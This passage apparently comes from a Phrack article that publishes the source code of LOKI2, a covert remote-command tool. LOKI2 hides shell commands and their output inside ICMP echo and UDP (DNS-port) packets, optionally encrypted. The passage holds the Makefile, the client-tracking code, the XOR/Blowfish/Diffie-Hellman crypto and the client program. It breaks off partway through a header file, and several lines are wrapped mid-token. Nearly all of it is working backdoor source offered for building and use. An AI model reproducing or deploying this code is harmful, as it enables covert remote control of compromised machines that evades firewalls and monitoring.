    alhambra for being complacent,
    Craig Nottingham for letting me borrow some nomenclature,
    truss and strace for being indespensible tools of the trade,

    Extra Special Thanks to OPii <opii@dhp.com> for pioneering this concept and
    technique.

----------------------[THE SOURCE

    Whelp, here it is. Extract the code from the article using one of the
included extraction utilities.

```
<++> L2/Makefile
# Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997
# route (c) 1997 Guild Corporation, Worldwide


######
#   Choose a cryptography type
#

CRYPTO_TYPE             =   WEAK_CRYPTO         # XOR
#CRYPTO_TYPE            =   NO_CRYPTO           # Plaintext
#CRYPTO_TYPE            =   STRONG_CRYPTO       # Blowfish and DH


######
#   If you want STRONG_CRYPTO, uncomment the following (and make sure you have
#   SSLeay)

#LIB_CRYPTO_PATH        =   /usr/local/ssl/lib/
#CLIB                   =   -L$(LIB_CRYPTO_PATH) -lcrypto
#MD5_OBJ                =   md5/md5c.o


######
#   Choose a child process handler type
#

SPAWN_TYPE              =   POPEN
#SPAWN_TYPE             =   PTY


######
#   It is safe to leave this alone.
#

NET3                    =   #-DNET3
SEND_PAUSE              =   SEND_PAUSE=100
```

```
DEBUG                   =   #-DDEBUG
#----------------------------------------------------------------------------#


i_hear_a_voice_from_the_back_of_the_room:
        @echo
        @echo "LOKI2 Makefile"
        @echo "Edit the Makefile and then invoke with one of the following:"
        @echo
        @echo "linux openbsd freebsd solaris    clean"
        @echo
        @echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
        @echo

linux:
        @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE)                        \
        SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)                \
        FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all

openbsd:
        @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                         \
        SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)                \
        FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all

freebsd:
        @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE)                         \
        SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)                \
        FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all

solaris:
        @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE)                      \
        SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE)                \
        LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all

CFLAGS          = -Wall -O6 -finline-functions -funroll-all-loops $(OS)      \
                $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK)     \
                $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)

CC              =   gcc
C_OBJS          =   surplus.o crypt.o
S_OBJS          =   client_db.o shm.o surplus.o crypt.o pty.o


.c.o:
        $(CC) $(CFLAGS) -c $< -o $@

all:    $(MD5_OBJ) loki

md5obj: md5/md5c.c
        @( cd md5; make )

loki:   $(C_OBJS) loki.o $(S_OBJS) lokid.o
        $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
        $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
        @(strip loki lokid)

clean:
        @( rm -fr *.o loki lokid )
        @( cd md5; make clean )

dist:   clean
        @( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )
<--> Makefile
<++> L2/client_db.c
/*
 * LOKI2
 *
 * [ client_db.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"
#include "shm.h"
#include "client_db.h"

extern struct loki rdg;
extern int verbose;
extern int destroy_shm;
extern struct client_list *client;
extern u_short c_id;

#ifdef  STRONG_CRYPTO
extern short ivec_salt;
extern u_char user_key[BF_KEYSIZE];
#endif
#ifdef  PTY
extern int mfd;
#endif

/*
 *  The server maintains an array of active client information.  This
 *  function simply steps through the structure array and attempts to add
 *  an entry.
 */

int add_client(u_char *key)
{
    int i = 0, emptyslot = -1;
#ifdef  PTY
    char p_name[BUFSIZE] = {0};
#endif

    locks();
    for (; i < MAX_CLIENT; i++)
    {
        if (IS_GOOD_CLIENT(rdg))
        {                                   /* Check for duplicate entries
                                             * (which are to be expected when
                                             * not using STRONG_CRYPTO)
                                             */
#ifdef STRONG_CRYPTO
            if (verbose) fprintf(stderr, S_MSG_DUP);
#endif
            emptyslot = i;
            break;
        }                                   /* tag the first empty slot found */
        if ((!(client[i].client_id))) emptyslot = i;
    }
    if (emptyslot == -1)
    {                                       /* No empty array slots */
        if (verbose) fprintf(stderr, "\nlokid: Client database full");
        ulocks();
        return (NNOK);
    }
                                            /* Initialize array with client info */
    client[emptyslot].touchtime             = time((time_t *)NULL);
    if (emptyslot != i){
        client[emptyslot].client_id         = c_id;
        client[emptyslot].client_ip         = rdg.iph.ip_src;
        client[emptyslot].packets_sent      = 0;
        client[emptyslot].bytes_sent        = 0;
        client[emptyslot].hits              = 0;
#ifdef  PTY
        client[emptyslot].pty_fd            = 0;
#endif
    }
#ifdef  STRONG_CRYPTO
                                            /* copy unset bf key and set salt */
    bcopy(key, client[emptyslot].key, BF_KEYSIZE);
    client[emptyslot].ivec_salt         = 0;
#endif
    ulocks();
    return (emptyslot);
}


/*
 *  Look for a client entry in the client database.  Either copy the clients
 *  key into user_key and update timestamp, or clear the array entry,
 *  depending on the disposition of the call.
 */

int locate_client(int disposition)
{
    int i = 0;

    locks();
    for (; i < MAX_CLIENT; i++)
    {
        if (IS_GOOD_CLIENT(rdg))
        {
            if (disposition == FIND)    /* update timestamp */
            {
                client[i].touchtime = time((time_t *)NULL);
#ifdef STRONG_CRYPTO
                                        /* Grab the key */
                bcopy(client[i].key, user_key, BF_KEYSIZE);
#endif
            }
                                        /* Remove entry */
            else if (disposition == DESTROY)
                bzero(&client[i], sizeof(client[i]));
            ulocks();
            return (i);
        }
    }
    ulocks();                           /* Didn't find the client */
    return (NNOK);
}


/*
 *  Fill a string with current stats about a particular client.
 */

int stat_client(int entry, u_char *buf, int prot, time_t uptime)
{

    int n = 0;
    time_t now = 0;
    struct protoent *proto = 0;
                                        /* locate_client didn't find an
                                         * entry
                                         */
    if (entry == NNOK)
    {
 fprintf(stderr, "DEBUG: stat_client nono\n");
        return (NOK);
    }
    n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);
    n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));

    proto = getprotobynumber(prot);
    n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name);
    n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE);
    time(&now);
    n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x
3c);
```

```
    locks();
    n += sprintf(&buf[n], "client ID:\t\t%d\n",      client[entry].client_id);
    n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent);
    n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent);
    n += sprintf(&buf[n], "requests:\t\t%d\n",       client[entry].hits);
    ulocks();

    return (n);
}

/*
 *  Unsets alarm timer, then calls age_client, then resets signal handler
 *  and alarm timer.
 */

void client_expiry_check(){

    alarm(0);
    age_client();
                                            /* re-establish signal handler */
    if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
        err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");

    alarm(KEY_TIMER);
}


/*
 *  This function is called every KEY_TIMER interval to sweep through the
 *  client list.  It zeros any entrys it finds that have not been accessed
 *  in KEY_TIMER seconds.  This gives us a way to free up entries from clients
 *  which may have crashed or lost their QUIT_C packet in transit.
 */

void age_client()
{

    time_t timestamp = 0;
    int i = 0;

    time(&timestamp);
    locks();
    for (; i < MAX_CLIENT; i++)
    {
        if (client[i].client_id)
        {
            if (difftime(timestamp, client[i].touchtime) > KEY_TIMER)
            {
                if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from 
list [%d]\n", client[i].client_id, i);
                bzero(&client[i], sizeof(client[i]));
#ifdef STRONG_CRYPTO
                ivec_salt = 0;
#endif
            }
        }
    }
    ulocks();
}


/*
 *  Update the statistics for client.
 */

void update_client(int entry, int pcount, u_long bcount)
{
    locks();
    client[entry].touchtime      = time((time_t *)NULL);
    client[entry].packets_sent  += pcount;
    client[entry].bytes_sent    += bcount;
    client[entry].hits          ++;
    ulocks();
}


/*
 *  Returns the IP address and ID of the targeted entry
 */

u_long check_client_ip(int entry, u_short *id)
{
    u_long ip = 0;

    locks();
    if ((*id = (client[entry].client_id))) ip = client[entry].client_ip;
    ulocks();

    return (ip);
}

#ifdef STRONG_CRYPTO

/*
 *  Update and return the IV salt for the client
 */

u_short update_client_salt(int entry)
{

    u_short salt = 0;

    locks();
    salt = ++client[entry].ivec_salt;
    ulocks();

    return (salt);
}

#endif  /* STRONG_CRYPTO */


/* EOF */
<--> client_db.c
<++> L2/client_db.h
/*
 * LOKI
 *
 * client_db header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */



/*
 *  Client info list.
 *  MAX_CLIENT of these will be kept in a server-side array
 */

struct client_list
{
#ifdef  STRONG_CRYPTO
    u_char key[BF_KEYSIZE];             /* unset bf key                     */
    u_short ivec_salt;                  /* the IV salter                    */
#endif
    u_short client_id;                  /* client loki_id                   */
    u_long client_ip;                   /* client IP address                */
    time_t  touchtime;                  /* last time entry was hit          */
    u_long packets_sent;                /* Packets sent to this client      */
    u_long bytes_sent;                  /* Bytes sent to this client        */
    u_int hits;                         /* Number of queries from client    */
#ifdef  PTY
    int pty_fd;                         /* Master PTY file descriptor       */
#endif
};

#define IS_GOOD_CLIENT(ldg)\
\
(c_id           == client[i].client_id   &&  \
 ldg.iph.ip_src == client[i].client_ip)  >   \
                             (0) ? (1) : (0) \

void update_client(int, int, u_long);   /* Update a client entry            */
                                        /* client info into supplied buffer */
int stat_client(int, u_char *, int, time_t);
int add_client(u_char *);               /* add a client entry               */
int locate_client(int);                 /* find a client entry              */
void age_client(void);                  /* age a client from the list       */
u_short update_client_salt(int);        /* update and return salt           */
u_long check_client_ip(int, u_short *); /* return ip and id of target       */
<--> client_db.h
<++> L2/crypt.c
/*
 * LOKI2
 *
 * [ crypt.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"
#include "crypt.h"
#include "md5/global.h"
#include "md5/md5.h"

#ifdef STRONG_CRYPTO
u_char user_key[BF_KEYSIZE];                /* unset blowfish key */
BF_KEY bf_key;                              /* set key */
volatile u_short ivec_salt = 0;


/*
 *  Blowfish in cipher-feedback mode.  This implements blowfish (a symmetric
 *  cipher) as a self-synchronizing stream cipher.  The initialization
 *  vector (the initial dummy cipher-text block used to seed the encryption)
 *  need not be secret, but it must be unique for each encryption.  I fill
 *  the ivec[] array with every 3rd key byte incremented linear-like via
 *  a global encryption counter (which must be synced in both client and
 *  server).
 */

void blur(int m, int bs, u_char *t)
{

    int i = 0, j = 0, num      = 0;
    u_char ivec[IVEC_SIZE + 1] = {0};

    for (; i < BF_KEYSIZE; i += 3)         /* fill in IV */
        ivec[j++] = (user_key[i] + (u_char)ivec_salt);
    BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m);
}


/*
 *  Generate DH keypair.
 */

DH* generate_dh_keypair()
```

```
{

    DH *dh = NULL;
                                    /* Initialize the DH structure */
    dh = DH_new();
                                    /* Convert the prime into BIGNUM */
    (BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);
                                    /* Create a new BIGNUM */
    (BIGNUM *)(dh -> g) = BN_new();
                                    /* Set the DH generator */
    BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5);
                                    /* Generate the key pair */
    if (!DH_generate_key(dh)) return ((DH *)NULL);

    return(dh);
}


/*
 *  Extract blowfish key from the DH shared secret.  A simple MD5 hash is
 *  perfect as it will return the 16-bytes we want, and obscure any possible
 *  redundancies or key-bit leaks in the DH shared secret.
 */


u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)
{

    u_char digest[MD5_HASHSIZE];
    unsigned len = BN2BIN_SIZE;
    MD5_CTX context;
                                    /* initialize MD5 (loads magic context
                                     * constants)
                                     */
    MD5Init(&context);
                                    /* MD5 hashing */
    MD5Update(&context, dh_shared_secret, len);
                                    /* clean up of MD5 */
    MD5Final(digest, &context);
    bcopy(digest, user_key, BF_KEYSIZE);
                                    /* In the server we dunot set the key
                                     * right away; they are set when they
                                     * are nabbed from the client list.
                                     */
    if (set_bf == OK)
    {
        BF_set_key(&bf_key, BF_KEYSIZE, user_key);
        return ((u_char *)NULL);
    }
    else return (strdup(user_key));
}
#endif
#ifdef WEAK_CRYPTO

/*
 *  Simple XOR obfuscation.
 *
 *  ( Syko was right -- the following didn't work under certain compilation
 *  environments...  Never write code in which the order of evaluation defines
 *  the result.  See K&R page 53, at the bottom... )
 *
 *  if (!m) while (i < bs) t[i] ^= t[i++ +1];
 *  else
 *  {
 *      i = bs;
 *      while (i) t[i - 1] ^= t[i--];
 *  }
 *
 */
```

```
void blur(int m, int bs, u_char *t)
{

    int i = 0;

    if (!m)
    {                           /* Encrypt */
        while (i < bs)
        {
            t[i] ^= t[i + 1];
            i++;
        }
    }
    else
    {                           /* Decrypt */
        i = bs;
        while (i)
        {
            t[i - 1] ^= t[i];
            i--;
        }
    }
}

#endif
#ifdef NO_CRYPTO

/*
 *  No encryption
 */

void blur(int m, int bs, u_char *t){}

#endif

/* EOF */
<--> crypt.c
<++> L2/crypt.h
/*
 * LOKI
 *
 * crypt header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */


#ifdef STRONG_CRYPTO
/* 384-bit strong prime */

u_char modulus[] =
{

0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A,
0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49,
0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14,
0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,

};
#endif
<--> crypt.h
<++> L2/loki.c
/*
 * LOKI2
 *
 * [ loki.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */
```

```
#include "loki.h"

jmp_buf env;
struct loki sdg, rdg;
int verbose     = OK, cflags = 0, ripsock = 0, tsock = 0;
u_long p_read   = 0;                    /* packets read */


#ifdef  STRONG_CRYPTO
DH *dh_keypair = NULL;                  /* DH public and private keypair */
extern u_short ivec_salt;
#endif


int main(int argc, char *argv[])
{

    static int prot         = IPPROTO_ICMP, one = 1, c = 0;
#ifdef  STRONG_CRYPTO
    static int established  = 0, retran = 0;
#endif
    static u_short loki_id  = 0;
    int timer               = MIN_TIMEOUT;
    u_char buf[BUFSIZE]     = {0};
    struct protoent *pprot  = 0;
    struct sockaddr_in sin;
                                        /* Ensure we have proper permissions */
    if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV);
    loki_id = getpid();                 /* Allows us to individualize each
                                         * same protocol loki client session
                                         * on a given host.
                                         */
    bzero((struct sockaddr_in *)&sin, sizeof(sin));
    while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)
    {
        switch (c)
        {
            case 'v':                   /* change verbosity */
                verbose = atoi(optarg);
                break;

            case 'd':                   /* destination address of daemon */
                strncpy(buf, optarg, BUFSIZE - 1);
                sin.sin_family      = AF_INET;
                sin.sin_addr.s_addr = name_resolve(buf);
                break;

            case 't':                   /* change alarm timer */
                if ((timer = atoi(optarg)) < MIN_TIMEOUT)
                     err_exit(1, 0, 1, "Invalid timeout.\n");
                break;

            case 'p':                   /* select transport protocol */
                switch (optarg[0])
                {
                    case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
                        prot = IPPROTO_ICMP;
                        break;

                    case 'u':           /* DNS query / reply */
                        prot = IPPROTO_UDP;
                        break;

                    default:
                        err_exit(1, 0, verbose, "Unknown transport.\n");
                }
                break;

            default:
                err_exit(0, 0, 1, C_MSG_USAGE);
        }
    }
                                        /* we need a destination address */
    if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE);
    if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
        err_exit(1, 1, 1, L_MSG_SOCKET);

#ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
    if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY);
#endif
                                        /* Raw socket to build packets */
    if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
         err_exit(1, 1, verbose, L_MSG_SOCKET);
#ifdef  DEBUG
    fprintf(stderr, "\nRaw IP socket: ");
    fd_status(ripsock, OK);
#endif

#ifdef  IP_HDRINCL
    if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
        if (verbose) perror("Cannot set IP_HDRINCL socket option");
#endif
                                        /* register packet dumping function
                                         * to be called upon exit
                                         */
    if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);

    fprintf(stderr, L_MSG_BANNER);
    for (; ;)
    {
#ifdef  STRONG_CRYPTO
                                        /* Key negotiation phase.  Before we
                                         * can do anything, we need to share
                                         * a secret with the server.  This
                                         * is our key management phase.
                                         * After this is done, we are
                                         * established.  We try MAX_RETRAN
                                         * times to contact a  server.
                                         */
        if (!established)
        {
                                        /* Generate the DH parameters and public
                                         * and private keypair
                                         */
            if (!dh_keypair)
            {
                if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN);
                if (!(dh_keypair = generate_dh_keypair()))
                    err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
            }
            if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");
                                        /* convert the BIGNUM public key
                                         * into a big endian byte string
                                         */
            bzero((u_char *)buf, BUFSIZE);
            BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf);
                                        /* Submit our key and request to
                                         * the server (in one packet)
                                         */
            if (verbose) fprintf(stderr, C_MSG_PKREQ);
            loki_xmit(buf, loki_id, prot, sin, L_PK_REQ);
        }
        else
        {
#endif
            bzero((u_char *)buf, BUFSIZE);
            fprintf(stderr, PROMPT);        /* prompt user for input */
            read(STDIN_FILENO, buf, BUFSIZE - 1);
            buf[strlen(buf)] = 0;
```

```
                                            /* Nothing to parse */
            if (buf[0] == '\n') continue;   /* Escaped command */
            if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
                                        /* Send request to server */
            loki_xmit(buf, loki_id, prot, sin, L_REQ);
#ifdef  STRONG_CRYPTO
        }
#endif
                                        /* change transports */
        if (cflags & NEWTRANS)
        {
            close(tsock);
            prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
            if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
                 err_exit(1, 1, verbose, L_MSG_SOCKET);

            pprot = getprotobynumber(prot);
            if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", p
prot -> p_name);
            cflags &= ~NEWTRANS;
            continue;
        }
        if (cflags & TERMINATE)         /* client should exit */
        {
            fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");
            clean_exit(0);
        }
                                        /* Clear TRAP and VALID PACKET flags */
        cflags &= (~TRAP & ~VALIDP);
                                        /* set alarm singal handler */
        if (signal(SIGALRM, catch_timeout) == SIG_ERR)
            err_exit(1, 1, verbose, L_MSG_SIGALRM);
                                        /* returns true if we land here as the
                                         * result of a longjmp() -- IOW the
                                         * alarm timer went off
                                         */
        if (setjmp(env))
        {
            fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
            cflags |= TRAP;
#ifdef  STRONG_CRYPTO
            if (!established)           /* No connection established yet */
                if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot conta
ct server.  Giving up.\n");
                else if (verbose) fprintf(stderr, "Resending...\n");
#endif
        }
        while (!(cflags & TRAP))
        {                               /* TRAP will not be set unless the
                                         * alarm timer expires or we get
                                         * an EOT packet
                                         */
           alarm(timer);                /* block until alarm or read */

           if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
                perror("[non fatal] network read error");

            switch (prot)
            {                           /* Is this a valid Loki packet? */
                case IPPROTO_ICMP:
                    if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
                    break;

                case IPPROTO_UDP:
                    if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
                    break;

                default:
                    err_exit(1, 0, verbose, L_MSG_WIERDERR);
            }
            if (cflags & VALIDP)
            {
#ifdef  DEBUG
        fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
        PACKET_TYPE(rdg);
        DUMP_PACKET(rdg, c);
#endif
                                        /* we have a valid packet and can
                                         * turn off the alarm timer
                                         */
                alarm(0);
                switch (rdg.payload[0]) /* determine packet type */
                {
                    case L_REPLY :      /* standard reply packet */
                        bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
                        blur(DECR, BUFSIZE - 1, buf);
#ifndef DEBUG
                        fprintf(stderr, "%s", buf);
#endif
                        p_read++;
                        break;

                    case L_EOT :        /* end of transmission packet */
                        cflags |= TRAP;
                        p_read++;
                        break;

                    case L_ERR :        /* error msg packet (not encrypted) */
                        bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
                        fprintf(stderr, "%s", buf);
#ifdef  STRONG_CRYPTO
                                        /* If the connection is not established
                                         * we exit upon receipt of an error
                                         */
                        if (!established) clean_exit(1);
#endif
                        break;
#ifdef  STRONG_CRYPTO
                    case L_PK_REPLY :   /* public-key receipt */
                        if (verbose) fprintf(stderr, C_MSG_PKREC);
                                        /* compute DH key parameters */
                        DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZ
E, NULL), dh_keypair);
                                        /* extract blowfish key from the
                                         * DH shared secret.
                                         */
                        if (verbose) fprintf(stderr, C_MSG_SKSET);
                        extract_bf_key(buf, OK);
                        established = OK;
                        break;
#endif
                    case L_QUIT:        /* termination directive packet */
                        fprintf(stderr, C_MSG_MUSTQUIT);
                        clean_exit(0);

                    default :
                        fprintf(stderr, "\nUnknown LOKI packet type");
                        break;
                }
                cflags &= ~VALIDP;      /* reset VALID PACKET flag */
            }
        }
    }
    return (0);
}


/*
 *  Build and transmit Loki packets (client version)
 */
```

```
void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int pt
ype)
{

    bzero((struct loki *)&sdg, LOKIP_SIZE);
                                        /* Encrypt and load payload, unless
                                         * we are doing key management
                                         */
    if (ptype != L_PK_REQ)
    {
#ifdef  STRONG_CRYPTO
        ivec_salt++;
#endif
        blur(ENCR, BUFSIZE - 1, payload);
    }
    bcopy(payload, &sdg.payload[1], BUFSIZE - 1);

    if (prot == IPPROTO_ICMP)
    {
#ifdef  NET3                                            /* Our workaround. */
        sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
#else
        sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
#endif
        sdg.ttype.icmph.icmp_code   = (int)NULL;
        sdg.ttype.icmph.icmp_id     = loki_id;          /* Session ID */
        sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
        sdg.payload[0]              = ptype;
        sdg.ttype.icmph.icmp_cksum  =
             i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
    }
    if (prot == IPPROTO_UDP)
    {
        sdg.ttype.udph.uh_sport     = loki_id;
        sdg.ttype.udph.uh_dport     = NL_PORT;
        sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
        sdg.payload[0]              = ptype;
        sdg.ttype.udph.uh_sum       =
             i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
    }
    sdg.iph.ip_v    = 0x4;
    sdg.iph.ip_hl   = 0x5;
    sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
    sdg.iph.ip_ttl  = 0x40;
    sdg.iph.ip_p    = prot;
    sdg.iph.ip_dst  = sin.sin_addr.s_addr;

    if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *)
&sin, sizeof(sin)) < LOKIP_SIZE))
    {
        if (verbose) perror("[non fatal] truncated write");
    }
}


/*
 *  help is here
 */

void help()
{

    fprintf(stderr,"
    %s\t\t-  you are here
    %s xx\t\t-  change alarm timeout to xx seconds (minimum of %d)
    %s\t\t-  query loki server for client statistics
    %s\t\t-  query loki server for all client statistics
    %s\t\t-  swap the transport protocol ( UDP <-> ICMP ) [in beta]
    %s\t\t-  quit the client
    %s\t\t-  quit this client and kill all other clients (and the server)
    %s dest\t\t-  proxy to another server    [ UNIMPLIMENTED ]
    %s dest\t-  redirect to another client [ UNIMPLIMENTED ]\n",

    HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_
C);
}


/*
 *  parse escaped commands
 */

int c_parse(u_char *buf, int *timer)
{

    cflags &= ~VALIDC;
                                        /* help */
    if (!strncmp(buf, HELP, sizeof(HELP) - 1) || buf[1] == '?')
    {
        help();
        return (NOK);
    }
                                        /* change alarm timer */
    else if (!strncmp(buf, TIMER, sizeof(TIMER) - 1))
    {
        cflags |= VALIDC;
        (*timer) = atoi(&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER)
- 1]) : MIN_TIMEOUT;
        fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
        return (NOK);
    }
                                        /* Quit client, send notice to server */
    else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
        cflags |= (TERMINATE | VALIDC);
                                        /* Quit client, send kill to server */
    else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
        cflags |= (TERMINATE | VALIDC);
                                        /* Request server-side statistics */
    else if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
        cflags |= VALIDC;
                                        /* Swap transport protocols */
    else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
    {
                                        /* When using strong crypto we do not
                                         * want to swap protocols.
                                         */
#ifdef  STRONG_CRYPTO
        fprintf(stderr, C_MSG_NOSWAP);
        return (NOK);
#elif   !(__linux__)
        fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n");
        return (NOK);
#else
        cflags |= (NEWTRANS | VALIDC);
#endif

    }
                                        /* Request server to redirect output
                                         * to another LOKI client
                                         */
    else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) - 1))
        cflags |= (REDIRECT | VALIDC);
                                        /* Request server to simply proxy
                                         * requests to another LOKI server
                                         */
    else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) - 1))
        cflags |= (PROXY | VALIDC);

                                        /* Bad command trap */
    if (!(cflags & VALIDC))
    {
        fprintf(stderr, "Unrecognized command %s\n",buf);
        return (NOK);
    }

    return (OK);
}


/*
 *  Dumps packets read by client...
 */

void packets_read()
{
    fprintf(stderr, "Packets read: %ld\n", p_read);
}

/* EOF */
<--> loki.c
<++> L2/loki.h
#ifndef  __LOKI_H__
#define  __LOKI_H__

/*
 * LOKI
 *
 * loki header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <pwd.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>
#include <grp.h>
#include <termios.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <setjmp.h>

#ifdef LINUX
#include <linux/icmp.h>
#include <linux/ip.h>
#include <linux/signal.h>
                                    /* BSDish nomenclature */
#define ip          iphdr
#define ip_v        version
#define ip_hl       ihl
#define ip_len      tot_len
#define ip_ttl      ttl
#define ip_p        protocol
#define ip_dst      daddr
#define ip_src      saddr
#endif
```

```
#ifdef BSD4
#include <netinet/in_systm.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <netinet/ip_icmp.h>
#include <netinet/icmp_var.h>
#include <sys/sockio.h>
#include <sys/termios.h>
#include <sys/signal.h>

#undef  icmp_id
#undef  icmp_seq
#define ip_dst      ip_dst.s_addr
#define ip_src      ip_src.s_addr
#endif

#ifdef SOLARIS
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <netinet/ip_icmp.h>
#include <netinet/icmp_var.h>
#include <sys/sockio.h>
#include <sys/termios.h>
#include <sys/signal.h>
#include <strings.h>
#include <unistd.h>

#undef  icmp_id
#undef  icmp_seq
#define ip_dst      ip_dst.s_addr
#define ip_src      ip_src.s_addr
#endif

#ifdef BROKEN_IP_LEN
#define FIX_LEN(n)  (x)         /* FreeBSD needs this  */
#else
#define FIX_LEN(n)  htons(n)
#endif


/*
 *  Net/3 will not pass ICMP_ECHO packets to user processes.
 */

#ifdef NET3
#define D_P_TYPE    ICMP_ECHO
